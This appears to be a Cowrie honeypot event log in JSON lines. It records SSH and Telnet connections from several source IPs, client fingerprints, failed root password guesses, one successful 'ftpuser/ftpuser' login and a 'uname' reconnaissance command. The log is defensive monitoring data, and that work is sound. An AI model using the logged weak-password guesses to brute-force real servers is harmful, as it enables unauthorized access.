{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:e6:f8:a2:19:e1:45:a2:03:58:fb:98:ed:02:f6:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgwBpPnfR/56YAGEa9RUD/yFciSplB7Lc7WHoMDQxNMH+N/oJhi3h3lCJG9Yrz8vWHqz9lbs40cLlnyTF8xqcvfgLMwCQLVu2P65BOCwfl4CeG5huSA0c+5UU02xZmkb2JaVDLSSFpT15EeIlffOqKsUmgmZhY0Yxkc8ILZpEHLygBfubpoObvk50lYHDKTmrOTG7dLW5JEBAWF3G7R3+GngdsbTWzGzT8nIsmPesU3SgbFGzKL3HA4pmK8j4wBEdEcuVxkm2615JTqTciJk13IX+CFQvbirOLx0SmcGqejp9s/56nigp+gKWkowWup7iwhYjj/HjaLmZ0v0PSmvcL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:e6:f8:a2:19:e1:45:a2:03:58:fb:98:ed:02:f6:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.375028Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:e6:f8:a2:19:e1:45:a2:03:58:fb:98:ed:02:f6:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgwBpPnfR/56YAGEa9RUD/yFciSplB7Lc7WHoMDQxNMH+N/oJhi3h3lCJG9Yrz8vWHqz9lbs40cLlnyTF8xqcvfgLMwCQLVu2P65BOCwfl4CeG5huSA0c+5UU02xZmkb2JaVDLSSFpT15EeIlffOqKsUmgmZhY0Yxkc8ILZpEHLygBfubpoObvk50lYHDKTmrOTG7dLW5JEBAWF3G7R3+GngdsbTWzGzT8nIsmPesU3SgbFGzKL3HA4pmK8j4wBEdEcuVxkm2615JTqTciJk13IX+CFQvbirOLx0SmcGqejp9s/56nigp+gKWkowWup7iwhYjj/HjaLmZ0v0PSmvcL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.378975Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.386911Z","src_ip":"83.168.110.85","session":"c5fd6b89b56f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.392741Z","src_ip":"83.168.110.85","session":"c5fd6b89b56f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:5e:ca:7d:e8:8d:2f:d8:77:43:fe:7c:04:10:c7:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1bLJLvjr8ovNZ8K2fW92vEHGTQcEBDPu6+naiPYfFs4CwaNvDsCbjeJDOft1TwBANoZ52qUWxnofRhG/cE0j7+PrwwfRR3nJtJ159nGwi6Vwx3YXRAW2WBegeATGHAA/SjHaxmn5VfENBLWgKg5mvB2Mo+zeYGXDSuoFdENTnvL5nHbNY6i+dXo1yaJRF5TnKrwzSwVAV1ZsW4fEVljNu1GaTDTRjooyjUPkbtdZr/opF51O7FXqZb+dKNCycnm14C0EOaV7NtNVhvVDN/UnnaWcm39FrG46dQ2wIPy/i+xzSVFhRSANRc5I1k7pZrGIBA5aVs9I2ghLmzmvX9bef","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:5e:ca:7d:e8:8d:2f:d8:77:43:fe:7c:04:10:c7:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.430817Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:5e:ca:7d:e8:8d:2f:d8:77:43:fe:7c:04:10:c7:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1bLJLvjr8ovNZ8K2fW92vEHGTQcEBDPu6+naiPYfFs4CwaNvDsCbjeJDOft1TwBANoZ52qUWxnofRhG/cE0j7+PrwwfRR3nJtJ159nGwi6Vwx3YXRAW2WBegeATGHAA/SjHaxmn5VfENBLWgKg5mvB2Mo+zeYGXDSuoFdENTnvL5nHbNY6i+dXo1yaJRF5TnKrwzSwVAV1ZsW4fEVljNu1GaTDTRjooyjUPkbtdZr/opF51O7FXqZb+dKNCycnm14C0EOaV7NtNVhvVDN/UnnaWcm39FrG46dQ2wIPy/i+xzSVFhRSANRc5I1k7pZrGIBA5aVs9I2ghLmzmvX9bef","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.434991Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:29.484802Z","src_ip":"23.131.184.100","session":"22b72330d435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46314,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b834252bf3","protocol":"ssh","message":"New connection: 83.168.110.85:46314 (10.17.0.5:22) [session: b2b834252bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:35.410383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:35.414559Z","src_ip":"83.168.110.85","session":"b2b834252bf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:35.846772Z","src_ip":"83.168.110.85","session":"b2b834252bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:36.269840Z","src_ip":"83.168.110.85","session":"b2b834252bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:37.431086Z","src_ip":"83.168.110.85","session":"b2b834252bf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58844,"dst_ip":"10.17.0.5","dst_port":23,"session":"94f881ccbc0a","protocol":"telnet","message":"New connection: 152.42.224.71:58844 (10.17.0.5:23) [session: 94f881ccbc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:41.802530Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46334,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa0b2b269484","protocol":"ssh","message":"New connection: 83.168.110.85:46334 (10.17.0.5:22) [session: aa0b2b269484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:42.717927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:42.722614Z","src_ip":"83.168.110.85","session":"aa0b2b269484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:42.843453Z","src_ip":"83.168.110.85","session":"aa0b2b269484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":45094,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fbbc67dbede","protocol":"ssh","message":"New connection: 43.153.65.139:45094 (10.17.0.5:22) [session: 7fbbc67dbede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:43.029129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:43.034679Z","src_ip":"43.153.65.139","session":"7fbbc67dbede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:43.104950Z","src_ip":"43.153.65.139","session":"7fbbc67dbede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:43.211015Z","src_ip":"83.168.110.85","session":"aa0b2b269484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xu@123456","message":"login attempt [root/Xu@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:43.415988Z","src_ip":"43.153.65.139","session":"7fbbc67dbede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:44.486866Z","src_ip":"43.153.65.139","session":"7fbbc67dbede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:44.567963Z","src_ip":"83.168.110.85","session":"aa0b2b269484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.22357511520386,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:49.067046Z","src_ip":"152.42.224.71","session":"b9677710c907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60554,"dst_ip":"10.17.0.5","dst_port":22,"session":"989af1922984","protocol":"ssh","message":"New connection: 83.168.110.85:60554 (10.17.0.5:22) [session: 989af1922984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:49.615393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:49.620040Z","src_ip":"83.168.110.85","session":"989af1922984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:49.745924Z","src_ip":"83.168.110.85","session":"989af1922984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:50.341482Z","src_ip":"83.168.110.85","session":"989af1922984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:51.465450Z","src_ip":"83.168.110.85","session":"989af1922984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60294,"dst_ip":"10.17.0.5","dst_port":22,"session":"87af79cb6625","protocol":"ssh","message":"New connection: 83.168.110.85:60294 (10.17.0.5:22) [session: 87af79cb6625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:56.258034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:56.382321Z","src_ip":"83.168.110.85","session":"87af79cb6625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:56.386520Z","src_ip":"83.168.110.85","session":"87af79cb6625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:57.062244Z","src_ip":"83.168.110.85","session":"87af79cb6625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:58.273911Z","src_ip":"83.168.110.85","session":"87af79cb6625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60310,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce66a634a420","protocol":"ssh","message":"New connection: 83.168.110.85:60310 (10.17.0.5:22) [session: ce66a634a420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:03.827858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:03.832853Z","src_ip":"83.168.110.85","session":"ce66a634a420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:03.957181Z","src_ip":"83.168.110.85","session":"ce66a634a420","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:04.322183Z","src_ip":"83.168.110.85","session":"ce66a634a420","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:04.606525Z","src_ip":"83.168.110.85","session":"ce66a634a420","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:04.610152Z","src_ip":"83.168.110.85","session":"ce66a634a420","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:04.734893Z","src_ip":"83.168.110.85","session":"ce66a634a420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:04.742235Z","src_ip":"83.168.110.85","session":"ce66a634a420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e89ef9b5b79","protocol":"ssh","message":"New connection: 43.153.50.142:44472 (10.17.0.5:22) [session: 2e89ef9b5b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:06.018212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:06.022441Z","src_ip":"43.153.50.142","session":"2e89ef9b5b79","protocol":"ssh"}
